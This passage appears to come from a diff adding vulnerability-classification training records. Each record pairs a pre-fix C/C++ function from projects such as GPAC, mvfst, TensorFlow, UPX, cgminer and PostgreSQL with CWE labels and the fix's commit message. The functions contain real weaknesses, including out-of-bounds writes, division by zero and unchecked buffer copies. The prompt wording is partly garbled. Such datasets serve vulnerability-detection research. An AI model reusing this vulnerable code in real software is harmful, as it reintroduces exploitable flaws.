{\n\t\t\tnb_output_layers_in_output_layer_set[i] += OutputLayerFlag[i][j];\n\t\t\tif (OutputLayerFlag[i][j]) {\n\t\t\t\tols_highest_output_layer_id[i] = vps->LayerSetLayerIdList[ols_ids_to_ls_idx][j];\n\t\t\t}\n\t\t}\n\t\tif (nb_output_layers_in_output_layer_set[i] == 1 && ols_highest_output_layer_id[i] > 0)\n\t\t\tvps->alt_output_layer_flag[i] = gf_bs_read_int_log_idx(bs, 1, \"alt_output_layer_flag\", i);\n\t}\n\n\tvps->num_rep_formats = 1 + gf_bs_read_ue_log(bs, \"num_rep_formats_minus1\");\n\tif (vps->num_rep_formats > 16) {\n\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CODING, (\"[HEVC] Wrong number of rep formats in VPS %d\\n\", vps->num_rep_formats));\n\t\tvps->num_rep_formats = 0;\n\t\treturn GF_FALSE;\n\t}\n\n\tfor (i = 0; i < vps->num_rep_formats; i++) {\n\t\tlhvc_parse_rep_format(&vps->rep_formats[i], bs, i);\n\t}\n\tif (vps->num_rep_formats > 1)\n\t\trep_format_idx_present_flag = gf_bs_read_int_log(bs, 1, \"rep_format_idx_present_flag\");\n\telse\n\t\trep_format_idx_present_flag = 0;\n\n\tvps->rep_format_idx[0] = 0;\n\tnb_bits = 1;\n\twhile ((u32)(1 << nb_bits) < vps->num_rep_formats)\n\t\tnb_bits++;\n\tfor (i = vps->base_layer_internal_flag ? 1 : 0; i < vps->max_layers; i++) {\n\t\tif (rep_format_idx_present_flag) {\n\t\t\tvps->rep_format_idx[i] = gf_bs_read_int_log_idx(bs, nb_bits, \"rep_format_idx\", i);\n\t\t}\n\t\telse {\n\t\t\tvps->rep_format_idx[i] = i < vps->num_rep_formats - 1 ? i : vps->num_rep_formats - 1;\n\t\t}\n\t}\n\t//TODO - we don't use the rest ...\n\n\treturn GF_TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'fixed #1780 (fuzz)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void updateHandshakeState(QuicServerConnectionState& conn) {\n  // Zero RTT read cipher is available after chlo is processed with the\n  // condition that early data attempt is accepted.\n  auto handshakeLayer = conn.serverHandshakeLayer;\n  auto zeroRttReadCipher = handshakeLayer->getZeroRttReadCipher();\n  auto zeroRttHeaderCipher = handshakeLayer->getZeroRttReadHeaderCipher();\n  // One RTT write cipher is available at Fizz layer after chlo is processed.\n  // However, the cipher is only exported to QUIC if early data attempt is\n  // accepted. Otherwise, the cipher will be available after cfin is\n  // processed.\n  auto oneRttWriteCipher = handshakeLayer->getOneRttWriteCipher();\n  // One RTT read cipher is available after cfin is processed.\n  auto oneRttReadCipher = handshakeLayer->getOneRttReadCipher();\n\n  auto oneRttWriteHeaderCipher = handshakeLayer->getOneRttWriteHeaderCipher();\n  auto oneRttReadHeaderCipher = handshakeLayer->getOneRttReadHeaderCipher();\n\n  if (zeroRttReadCipher) {\n    if (conn.qLogger) {\n      conn.qLogger->addTransportStateUpdate(kDerivedZeroRttReadCipher);\n    }\n    QUIC_TRACE(fst_trace, conn, \"derived 0-rtt read cipher\");\n    conn.readCodec->setZeroRttReadCipher(std::move(zeroRttReadCipher));\n  }\n  if (zeroRttHeaderCipher) {\n    conn.readCodec->setZeroRttHeaderCipher(std::move(zeroRttHeaderCipher));\n  }\n  if (oneRttWriteHeaderCipher) {\n    conn.oneRttWriteHeaderCipher = std::move(oneRttWriteHeaderCipher);\n  }\n  if (oneRttReadHeaderCipher) {\n    conn.readCodec->setOneRttHeaderCipher(std::move(oneRttReadHeaderCipher));\n  }\n\n  if (oneRttWriteCipher) {\n    if (conn.qLogger) {\n      conn.qLogger->addTransportStateUpdate(kDerivedOneRttWriteCipher);\n    }\n    QUIC_TRACE(fst_trace, conn, \"derived 1-rtt write cipher\");\n    CHECK(!conn.oneRttWriteCipher.get());\n    conn.oneRttWriteCipher = std::move(oneRttWriteCipher);\n\n    updatePacingOnKeyEstablished(conn);\n\n    // We negotiate the transport parameters whenever we have the 1-RTT write\n    // keys available.\n    auto clientParams = handshakeLayer->getClientTransportParams();\n    if (!clientParams) {\n      throw QuicTransportException(\n          \"No client transport params\",\n          TransportErrorCode::TRANSPORT_PARAMETER_ERROR);\n    }\n    processClientInitialParams(conn, std::move(*clientParams));\n  }\n  if (oneRttReadCipher) {\n    if (conn.qLogger) {\n      conn.qLogger->addTransportStateUpdate(kDerivedOneRttReadCipher);\n    }\n    QUIC_TRACE(fst_trace, conn, \"derived 1-rtt read cipher\");\n    // Clear limit because CFIN is received at this point\n    conn.writableBytesLimit = folly::none;\n    conn.readCodec->setOneRttReadCipher(std::move(oneRttReadCipher));\n  }\n  auto handshakeReadCipher = handshakeLayer->getHandshakeReadCipher();\n  auto handshakeReadHeaderCipher =\n      handshakeLayer->getHandshakeReadHeaderCipher();\n  if (handshakeReadCipher) {\n    CHECK(handshakeReadHeaderCipher);\n    conn.readCodec->setHandshakeReadCipher(std::move(handshakeReadCipher));\n    conn.readCodec->setHandshakeHeaderCipher(\n        std::move(handshakeReadHeaderCipher));\n  }\n  if (handshakeLayer->isHandshakeDone()) {\n    CHECK(conn.oneRttWriteCipher);\n    if (conn.version != QuicVersion::MVFST_D24 && !conn.sentHandshakeDone) {\n      sendSimpleFrame(conn, HandshakeDoneFrame());\n      conn.sentHandshakeDone = true;\n    }\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-617', 'CWE-703'], 'message': 'Close connection if we derive an extra 1-rtt write cipher\n\nSummary: Fixes CVE-2021-24029\n\nReviewed By: mjoras, lnicco\n\nDifferential Revision: D26613890\n\nfbshipit-source-id: 19bb2be2c731808144e1a074ece313fba11f1945'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* context) override {\n    const Tensor& x = context->input(0);\n    const Tensor& y = context->input(1);\n    const float min_x = context->input(2).flat()(0);\n    const float max_x = context->input(3).flat()(0);\n    const float min_y = context->input(4).flat()(0);\n    const float max_y = context->input(5).flat()(0);\n\n    BCast bcast(BCast::FromShape(x.shape()), BCast::FromShape(y.shape()));\n    if (!bcast.IsValid()) {\n      context->SetStatus(errors::InvalidArgument(\n          \"Incompatible shapes: \", x.shape().DebugString(), \" vs. \",\n          y.shape().DebugString()));\n      return;\n    }\n    Tensor* z;\n    OP_REQUIRES_OK(context, context->allocate_output(\n                                0, BCast::ToShape(bcast.output_shape()), &z));\n\n    // Make sure that we have valid quantization ranges for the input buffers.\n    // If the difference between the min and max is negative or zero, it makes\n    // it hard to do meaningful intermediate operations on the values.\n    OP_REQUIRES(context, (max_x > min_x),\n                errors::InvalidArgument(\"max_x must be larger than min_a.\"));\n    OP_REQUIRES(context, (max_y > min_y),\n                errors::InvalidArgument(\"max_x must be larger than min_b.\"));\n    const int32 offset_x = FloatToQuantizedUnclamped(0.0f, min_x, max_x);\n    const int32 offset_y = FloatToQuantizedUnclamped(0.0f, min_y, max_y);\n    const T* x_data = x.flat().data();\n    const T* y_data = y.flat().data();\n    Toutput* z_data = z->flat().data();\n\n    const int ndims = bcast.x_reshape().size();\n    if (ndims <= 1) {\n      if (x.NumElements() == 1) {\n        ScalarMultiply(context, y_data, offset_y, y.NumElements(),\n                                   x_data[0], offset_x, z_data);\n      } else if (y.NumElements() == 1) {\n        ScalarMultiply(context, x_data, offset_x, x.NumElements(),\n                                   y_data[0], offset_y, z_data);\n      } else {\n        VectorMultiply(context, x_data, offset_x, y_data, offset_y,\n                                   x.NumElements(), z_data);\n      }\n    } else if (ndims == 2) {\n      const T* vector_data;\n      int64 vector_num_elements;\n      int32 vector_offset;\n      const T* tensor_data;\n      int64 tensor_num_elements;\n      int32 tensor_offset;\n      if (x.NumElements() < y.NumElements()) {\n        vector_data = x_data;\n        vector_num_elements = x.NumElements();\n        vector_offset = offset_x;\n        tensor_data = y_data;\n        tensor_num_elements = y.NumElements();\n        tensor_offset = offset_y;\n      } else {\n        vector_data = y_data;\n        vector_num_elements = y.NumElements();\n        vector_offset = offset_y;\n        tensor_data = x_data;\n        tensor_num_elements = x.NumElements();\n        tensor_offset = offset_x;\n      }\n      VectorTensorMultiply(\n          vector_data, vector_offset, vector_num_elements, tensor_data,\n          tensor_offset, tensor_num_elements, z_data);\n    } else {\n      LOG(INFO) << \"ndims=\" << ndims;\n      LOG(INFO) << \"bcast.x_reshape()=\"\n                << TensorShape(bcast.x_reshape()).DebugString();\n      LOG(INFO) << \"bcast.y_reshape()=\"\n                << TensorShape(bcast.y_reshape()).DebugString();\n      LOG(INFO) << \"bcast.x_bcast()=\"\n                << TensorShape(bcast.x_bcast()).DebugString();\n      LOG(INFO) << \"bcast.y_bcast()=\"\n                << TensorShape(bcast.y_bcast()).DebugString();\n\n      context->SetStatus(errors::Unimplemented(\n          \"Broadcast between \", context->input(0).shape().DebugString(),\n          \" and \", context->input(1).shape().DebugString(),\n          \" is not supported yet.\"));\n      return;\n    }\n\n    float min_z_value;\n    float max_z_value;\n    QuantizationRangeForMultiplication(\n        min_x, max_x, min_y, max_y, &min_z_value, &max_z_value);\n    Tensor* z_min = nullptr;\n    OP_REQUIRES_OK(context, context->allocate_output(1, {}, &z_min));\n    z_min->flat()(0) = min_z_value;\n\n    Tensor* z_max = nullptr;\n    OP_REQUIRES_OK(context, context->allocate_output(2, {}, &z_max));\n    z_max->flat()(0) = max_z_value;\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-369'], 'message': 'Fix one division by zero\n\nPiperOrigin-RevId: 369474832\nChange-Id: I1082858ed78d9b2e4738ce30b231955973d49e1e'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void oinf_entry_dump(GF_OperatingPointsInformation *ptr, FILE * trace)\n{\n\tu32 i, count;\n\n\tif (!ptr) {\n\t\tfprintf(trace, \"\\n\");\n\n\t\tfprintf(trace, \" \\n\");\n\n\t\tfprintf(trace, \"\\n\");\n\n\t\tfprintf(trace, \"\\n\");\n\t\tfprintf(trace, \"\\n\");\n\t\treturn;\n\t}\n\n\n\tfprintf(trace, \"scalability_mask);\n\tswitch (ptr->scalability_mask) {\n\tcase 2:\n\t\tfprintf(trace, \"Multiview\");\n\t\tbreak;\n\tcase 4:\n\t\tfprintf(trace, \"Spatial scalability\");\n\t\tbreak;\n\tcase 8:\n\t\tfprintf(trace, \"Auxilary\");\n\t\tbreak;\n\tdefault:\n\t\tfprintf(trace, \"unknown\");\n\t}\n\tfprintf(trace, \")\\\" num_profile_tier_level=\\\"%u\\\"\", gf_list_count(ptr->profile_tier_levels) );\n\tfprintf(trace, \" num_operating_points=\\\"%u\\\" dependency_layers=\\\"%u\\\"\", gf_list_count(ptr->operating_points), gf_list_count(ptr->dependency_layers));\n\tfprintf(trace, \">\\n\");\n\n\n\tcount=gf_list_count(ptr->profile_tier_levels);\n\tfor (i = 0; i < count; i++) {\n\t\tLHEVC_ProfileTierLevel *ptl = (LHEVC_ProfileTierLevel *)gf_list_get(ptr->profile_tier_levels, i);\n\t\tfprintf(trace, \" \\n\", ptl->general_profile_space, ptl->general_tier_flag, ptl->general_profile_idc, ptl->general_profile_compatibility_flags, ptl->general_constraint_indicator_flags);\n\t}\n\n\n\tcount=gf_list_count(ptr->operating_points);\n\tfor (i = 0; i < count; i++) {\n\t\tLHEVC_OperatingPoint *op = (LHEVC_OperatingPoint *)gf_list_get(ptr->operating_points, i);\n\t\tfprintf(trace, \"output_layer_set_idx);\n\t\tfprintf(trace, \" max_temporal_id=\\\"%u\\\" layer_count=\\\"%u\\\"\", op->max_temporal_id, op->layer_count);\n\t\tfprintf(trace, \" minPicWidth=\\\"%u\\\" minPicHeight=\\\"%u\\\"\", op->minPicWidth, op->minPicHeight);\n\t\tfprintf(trace, \" maxPicWidth=\\\"%u\\\" maxPicHeight=\\\"%u\\\"\", op->maxPicWidth, op->maxPicHeight);\n\t\tfprintf(trace, \" maxChromaFormat=\\\"%u\\\" maxBitDepth=\\\"%u\\\"\", op->maxChromaFormat, op->maxBitDepth);\n\t\tfprintf(trace, \" frame_rate_info_flag=\\\"%u\\\" bit_rate_info_flag=\\\"%u\\\"\", op->frame_rate_info_flag, op->bit_rate_info_flag);\n\t\tif (op->frame_rate_info_flag) \n\t\t\tfprintf(trace, \" avgFrameRate=\\\"%u\\\" constantFrameRate=\\\"%u\\\"\", op->avgFrameRate, op->constantFrameRate);\n\t\tif (op->bit_rate_info_flag) \n\t\t\tfprintf(trace, \" maxBitRate=\\\"%u\\\" avgBitRate=\\\"%u\\\"\", op->maxBitRate, op->avgBitRate);\n\t\tfprintf(trace, \"/>\\n\");\n\t}\n\tcount=gf_list_count(ptr->dependency_layers);\n\tfor (i = 0; i < count; i++) {\n\t\tu32 j;\n\t\tLHEVC_DependentLayer *dep = (LHEVC_DependentLayer *)gf_list_get(ptr->dependency_layers, i);\n\t\tfprintf(trace, \"dependent_layerID, dep->num_layers_dependent_on);\n\t\tif (dep->num_layers_dependent_on) {\n\t\t\tfprintf(trace, \" dependent_on_layerID=\\\"\");\n\t\t\tfor (j = 0; j < dep->num_layers_dependent_on; j++)\n\t\t\t\tfprintf(trace, \"%d \", dep->dependent_on_layerID[j]);\n\t\t\tfprintf(trace, \"\\\"\");\n\t\t}\n\t\tfprintf(trace, \" dimension_identifier=\\\"\");\n\t\tfor (j = 0; j < 16; j++)\n\t\t\tif (ptr->scalability_mask & (1 << j))\n\t\t\t\tfprintf(trace, \"%d \", dep->dimension_identifier[j]);\n\t\tfprintf(trace, \"\\\"/>\\n\");\n\t}\n\tfprintf(trace, \"\\n\");\n\treturn;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'fixed 2 possible heap overflows (inc. #1088)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: PackLinuxElf64::invert_pt_dynamic(Elf64_Dyn const *dynp)\n{\n    if (dt_table[Elf64_Dyn::DT_NULL]) {\n        return;  // not 1st time; do not change upx_dt_init\n    }\n    Elf64_Dyn const *const dynp0 = dynp;\n    unsigned ndx = 1+ 0;\n    if (dynp)\n    for (; ; ++ndx, ++dynp) {\n        upx_uint64_t const d_tag = get_te64(&dynp->d_tag);\n        if (d_tag>>32) { // outrageous\n            char msg[50]; snprintf(msg, sizeof(msg),\n                \"bad Elf64_Dyn[%d].d_tag %#lx\", -1+ ndx, (long unsigned)d_tag);\n            throwCantPack(msg);\n        }\n        if (d_tag < DT_NUM) {\n            if (Elf64_Dyn::DT_NEEDED != d_tag\n            &&  dt_table[d_tag]\n            &&    get_te64(&dynp->d_val)\n               != get_te64(&dynp0[-1+ dt_table[d_tag]].d_val)) {\n                char msg[50]; snprintf(msg, sizeof(msg),\n                    \"duplicate DT_%#x: [%#x] [%#x]\",\n                    (unsigned)d_tag, -1+ dt_table[d_tag], -1+ ndx);\n                throwCantPack(msg);\n            }\n            dt_table[d_tag] = ndx;\n        }\n        if (Elf64_Dyn::DT_NULL == d_tag) {\n            break;  // check here so that dt_table[DT_NULL] is set\n        }\n    }\n    upx_dt_init = 0;\n         if (dt_table[Elf64_Dyn::DT_INIT])          upx_dt_init = Elf64_Dyn::DT_INIT;\n    else if (dt_table[Elf64_Dyn::DT_PREINIT_ARRAY]) upx_dt_init = Elf64_Dyn::DT_PREINIT_ARRAY;\n    else if (dt_table[Elf64_Dyn::DT_INIT_ARRAY])    upx_dt_init = Elf64_Dyn::DT_INIT_ARRAY;\n\n    unsigned const z_str = dt_table[Elf64_Dyn::DT_STRSZ];\n    if (z_str) {\n        strtab_end = get_te64(&dynp0[-1+ z_str].d_val);\n        if ((u64_t)file_size <= strtab_end) { // FIXME: weak\n            char msg[50]; snprintf(msg, sizeof(msg),\n                \"bad DT_STRSZ %#x\", strtab_end);\n            throwCantPack(msg);\n        }\n    }\n    // DT_SYMTAB has no designated length.\n    // End it when next area else starts; often DT_STRTAB.  (FIXME)\n    unsigned const x_sym = dt_table[Elf64_Dyn::DT_SYMTAB];\n    unsigned const x_str = dt_table[Elf64_Dyn::DT_STRTAB];\n    if (x_sym && x_str) {\n        upx_uint64_t const v_sym = get_te64(&dynp0[-1+ x_sym].d_val);\n        upx_uint64_t const v_str = get_te64(&dynp0[-1+ x_str].d_val);\n        unsigned const  z_sym = dt_table[Elf64_Dyn::DT_SYMENT];\n        unsigned const sz_sym = !z_sym ? sizeof(Elf64_Sym)\n            : get_te64(&dynp0[-1+ z_sym].d_val);\n        if (v_sym < v_str) {\n            symnum_end = (v_str - v_sym) / sz_sym;\n        }\n    }\n    // DT_HASH often ends at DT_SYMTAB\n    unsigned const v_hsh = elf_unsigned_dynamic(Elf64_Dyn::DT_HASH);\n    if (v_hsh && file_image) {\n        hashtab = (unsigned const *)elf_find_dynamic(Elf64_Dyn::DT_HASH);\n        if (!hashtab) {\n            char msg[40]; snprintf(msg, sizeof(msg),\n               \"bad DT_HASH %#x\", v_hsh);\n            throwCantPack(msg);\n        }\n        unsigned const nbucket = get_te32(&hashtab[0]);\n        unsigned const *const buckets = &hashtab[2];\n        unsigned const *const chains = &buckets[nbucket]; (void)chains;\n\n        unsigned const v_sym = get_te32(&dynp0[-1+ x_sym].d_val);\n        if (!nbucket\n        || (nbucket>>31) || (file_size/sizeof(unsigned)) <= (2*nbucket)  // FIXME: weak\n        || ((v_hsh < v_sym) && (v_sym - v_hsh) < (sizeof(unsigned)*2  // headers\n                + sizeof(*buckets)*nbucket  // buckets\n                + sizeof(*chains) *nbucket  // chains\n           ))\n        ) {\n            char msg[90]; snprintf(msg, sizeof(msg),\n                \"bad DT_HASH nbucket=%#x  len=%#x\",\n                nbucket, (v_sym - v_hsh));\n            throwCantPack(msg);\n        }\n    }\n    // DT_GNU_HASH often ends at DT_SYMTAB;  FIXME: not for Android?\n    unsigned const v_gsh = elf_unsigned_dynamic(Elf64_Dyn::DT_GNU_HASH);\n    if (v_gsh && file_image) {\n        gashtab = (unsigned const *)elf_find_dynamic(Elf64_Dyn::DT_GNU_HASH);\n        if (!gashtab) {\n            char msg[40]; snprintf(msg, sizeof(msg),\n               \"bad DT_GNU_HASH %#x\", v_gsh);\n            throwCantPack(msg);\n        }\n        unsigned const n_bucket = get_te32(&gashtab[0]);\n        unsigned const n_bitmask = get_te32(&gashtab[2]);\n        unsigned const gnu_shift = get_te32(&gashtab[3]);\n        upx_uint64_t const *const bitmask = (upx_uint64_t const *)(void const *)&gashtab[4];\n        unsigned     const *const buckets = (unsigned const *)&bitmask[n_bitmask];\n        unsigned     const *const hasharr = &buckets[n_bucket]; (void)hasharr;\n      //unsigned     const *const gashend = &hasharr[n_bucket];  // minimum\n\n        upx_uint64_t const v_sym = get_te64(&dynp0[-1+ x_sym].d_val);\n        if (!n_bucket || !n_bitmask\n        || (-1+ n_bitmask) & n_bitmask  // not a power of 2\n        || 8*sizeof(upx_uint64_t) <= gnu_shift  // shifted result always == 0\n        || (n_bucket>>30)  // fie on fuzzers\n        || (n_bitmask>>30)\n        || (file_size/sizeof(unsigned)) <= ((sizeof(*bitmask)/sizeof(unsigned))*n_bitmask + 2*n_bucket)  // FIXME: weak\n        // FIXME: next test does work for Android?\n        || ((v_gsh < v_sym) && (v_sym - v_gsh) < (sizeof(unsigned)*4  // headers\n                + sizeof(*bitmask)*n_bitmask  // bitmask\n                + sizeof(*buckets)*n_bucket  // buckets\n                + sizeof(*hasharr)*n_bucket  // hasharr\n            ))\n        ) {\n            char msg[90]; snprintf(msg, sizeof(msg),\n                \"bad DT_GNU_HASH n_bucket=%#x  n_bitmask=%#x  len=%#lx\",\n                n_bucket, n_bitmask, (long unsigned)(v_sym - v_gsh));\n            throwCantPack(msg);\n        }\n    }\n    unsigned const e_shstrndx = get_te16(&ehdri.e_shstrndx);\n    if (e_shnum <= e_shstrndx\n    &&  !(0==e_shnum && 0==e_shstrndx) ) {\n        char msg[40]; snprintf(msg, sizeof(msg),\n            \"bad .e_shstrndx %d >= .e_shnum %d\", e_shstrndx, e_shnum);\n        throwCantPack(msg);\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-369'], 'message': 'Detect bogus DT_SYMENT.\n\nhttps://github.com/upx/upx/issues/331\n\tmodified:   p_lx_elf.cpp'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool extract_sockaddr(char *url, char **sockaddr_url, char **sockaddr_port)\n{\n\tchar *url_begin, *url_end, *ipv6_begin, *ipv6_end, *port_start = NULL;\n\tchar url_address[256], port[6];\n\tint url_len, port_len = 0;\n\n\t*sockaddr_url = url;\n\turl_begin = strstr(url, \"//\");\n\tif (!url_begin)\n\t\turl_begin = url;\n\telse\n\t\turl_begin += 2;\n\n\t/* Look for numeric ipv6 entries */\n\tipv6_begin = strstr(url_begin, \"[\");\n\tipv6_end = strstr(url_begin, \"]\");\n\tif (ipv6_begin && ipv6_end && ipv6_end > ipv6_begin)\n\t\turl_end = strstr(ipv6_end, \":\");\n\telse\n\t\turl_end = strstr(url_begin, \":\");\n\tif (url_end) {\n\t\turl_len = url_end - url_begin;\n\t\tport_len = strlen(url_begin) - url_len - 1;\n\t\tif (port_len < 1)\n\t\t\treturn false;\n\t\tport_start = url_end + 1;\n\t} else\n\t\turl_len = strlen(url_begin);\n\n\tif (url_len < 1)\n\t\treturn false;\n\n\tsprintf(url_address, \"%.*s\", url_len, url_begin);\n\n\tif (port_len) {\n\t\tchar *slash;\n\n\t\tsnprintf(port, 6, \"%.*s\", port_len, port_start);\n\t\tslash = strchr(port, '/');\n\t\tif (slash)\n\t\t\t*slash = '\\0';\n\t} else\n\t\tstrcpy(port, \"80\");\n\n\t*sockaddr_port = strdup(port);\n\t*sockaddr_url = strdup(url_address);\n\n\treturn true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Do some random sanity checking for stratum message parsing'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: CreateStatistics(CreateStatsStmt *stmt)\n{\n\tint16\t\tattnums[STATS_MAX_DIMENSIONS];\n\tint\t\t\tnattnums = 0;\n\tint\t\t\tnumcols;\n\tchar\t   *namestr;\n\tNameData\tstxname;\n\tOid\t\t\tstatoid;\n\tOid\t\t\tnamespaceId;\n\tOid\t\t\tstxowner = GetUserId();\n\tHeapTuple\thtup;\n\tDatum\t\tvalues[Natts_pg_statistic_ext];\n\tbool\t\tnulls[Natts_pg_statistic_ext];\n\tDatum\t\tdatavalues[Natts_pg_statistic_ext_data];\n\tbool\t\tdatanulls[Natts_pg_statistic_ext_data];\n\tint2vector *stxkeys;\n\tList\t   *stxexprs = NIL;\n\tDatum\t\texprsDatum;\n\tRelation\tstatrel;\n\tRelation\tdatarel;\n\tRelation\trel = NULL;\n\tOid\t\t\trelid;\n\tObjectAddress parentobject,\n\t\t\t\tmyself;\n\tDatum\t\ttypes[4];\t\t/* one for each possible type of statistic */\n\tint\t\t\tntypes;\n\tArrayType  *stxkind;\n\tbool\t\tbuild_ndistinct;\n\tbool\t\tbuild_dependencies;\n\tbool\t\tbuild_mcv;\n\tbool\t\tbuild_expressions;\n\tbool\t\trequested_type = false;\n\tint\t\t\ti;\n\tListCell   *cell;\n\tListCell   *cell2;\n\n\tAssert(IsA(stmt, CreateStatsStmt));\n\n\t/*\n\t * Examine the FROM clause.  Currently, we only allow it to be a single\n\t * simple table, but later we'll probably allow multiple tables and JOIN\n\t * syntax.  The grammar is already prepared for that, so we have to check\n\t * here that what we got is what we can support.\n\t */\n\tif (list_length(stmt->relations) != 1)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t errmsg(\"only a single relation is allowed in CREATE STATISTICS\")));\n\n\tforeach(cell, stmt->relations)\n\t{\n\t\tNode\t   *rln = (Node *) lfirst(cell);\n\n\t\tif (!IsA(rln, RangeVar))\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t errmsg(\"only a single relation is allowed in CREATE STATISTICS\")));\n\n\t\t/*\n\t\t * CREATE STATISTICS will influence future execution plans but does\n\t\t * not interfere with currently executing plans.  So it should be\n\t\t * enough to take only ShareUpdateExclusiveLock on relation,\n\t\t * conflicting with ANALYZE and other DDL that sets statistical\n\t\t * information, but not with normal queries.\n\t\t */\n\t\trel = relation_openrv((RangeVar *) rln, ShareUpdateExclusiveLock);\n\n\t\t/* Restrict to allowed relation types */\n\t\tif (rel->rd_rel->relkind != RELKIND_RELATION &&\n\t\t\trel->rd_rel->relkind != RELKIND_MATVIEW &&\n\t\t\trel->rd_rel->relkind != RELKIND_FOREIGN_TABLE &&\n\t\t\trel->rd_rel->relkind != RELKIND_PARTITIONED_TABLE)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_WRONG_OBJECT_TYPE),\n\t\t\t\t\t errmsg(\"relation \\\"%s\\\" is not a table, foreign table, or materialized view\",\n\t\t\t\t\t\t\tRelationGetRelationName(rel))));\n\n\t\t/* You must own the relation to create stats on it */\n\t\tif (!pg_class_ownercheck(RelationGetRelid(rel), stxowner))\n\t\t\taclcheck_error(ACLCHECK_NOT_OWNER, get_relkind_objtype(rel->rd_rel->relkind),\n\t\t\t\t\t\t   RelationGetRelationName(rel));\n\n\t\t/* Creating statistics on system catalogs is not allowed */\n\t\tif (!allowSystemTableMods && IsSystemRelation(rel))\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),\n\t\t\t\t\t errmsg(\"permission denied: \\\"%s\\\" is a system catalog\",\n\t\t\t\t\t\t\tRelationGetRelationName(rel))));\n\t}\n\n\tAssert(rel);\n\trelid = RelationGetRelid(rel);\n\n\t/*\n\t * If the node has a name, split it up and determine creation namespace.\n\t * If not (a possibility not considered by the grammar, but one which can\n\t * occur via the \"CREATE TABLE ... (LIKE)\" command), then we put the\n\t * object in the same namespace as the relation, and cons up a name for\n\t * it.\n\t */\n\tif (stmt->defnames)\n\t\tnamespaceId = QualifiedNameGetCreationNamespace(stmt->defnames,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t&namestr);\n\telse\n\t{\n\t\tnamespaceId = RelationGetNamespace(rel);\n\t\tnamestr = ChooseExtendedStatisticName(RelationGetRelationName(rel),\n\t\t\t\t\t\t\t\t\t\t\t  ChooseExtendedStatisticNameAddition(stmt->exprs),\n\t\t\t\t\t\t\t\t\t\t\t  \"stat\",\n\t\t\t\t\t\t\t\t\t\t\t  namespaceId);\n\t}\n\tnamestrcpy(&stxname, namestr);\n\n\t/*\n\t * Deal with the possibility that the statistics object already exists.\n\t */\n\tif (SearchSysCacheExists2(STATEXTNAMENSP,\n\t\t\t\t\t\t\t  CStringGetDatum(namestr),\n\t\t\t\t\t\t\t  ObjectIdGetDatum(namespaceId)))\n\t{\n\t\tif (stmt->if_not_exists)\n\t\t{\n\t\t\tereport(NOTICE,\n\t\t\t\t\t(errcode(ERRCODE_DUPLICATE_OBJECT),\n\t\t\t\t\t errmsg(\"statistics object \\\"%s\\\" already exists, skipping\",\n\t\t\t\t\t\t\tnamestr)));\n\t\t\trelation_close(rel, NoLock);\n\t\t\treturn InvalidObjectAddress;\n\t\t}\n\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_DUPLICATE_OBJECT),\n\t\t\t\t errmsg(\"statistics object \\\"%s\\\" already exists\", namestr)));\n\t}\n\n\t/*\n\t * Make sure no more than STATS_MAX_DIMENSIONS columns are used. There\n\t * might be duplicates and so on, but we'll deal with those later.\n\t */\n\tnumcols = list_length(stmt->exprs);\n\tif (numcols > STATS_MAX_DIMENSIONS)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_TOO_MANY_COLUMNS),\n\t\t\t\t errmsg(\"cannot have more than %d columns in statistics\",\n\t\t\t\t\t\tSTATS_MAX_DIMENSIONS)));\n\n\t/*\n\t * Convert the expression list to a simple array of attnums, but also keep\n\t * a list of more complex expressions.  While at it, enforce some\n\t * constraints - we don't allow extended statistics on system attributes,\n\t * and we require the data type to have less-than operator.\n\t *\n\t * There are many ways how to \"mask\" a simple attribute refenrece as an\n\t * expression, for example \"(a+0)\" etc. We can't possibly detect all of\n\t * them, but we handle at least the simple case with attribute in parens.\n\t * There'll always be a way around this, if the user is determined (like\n\t * the \"(a+0)\" example), but this makes it somewhat consistent with how\n\t * indexes treat attributes/expressions.\n\t */\n\tforeach(cell, stmt->exprs)\n\t{\n\t\tStatsElem  *selem = 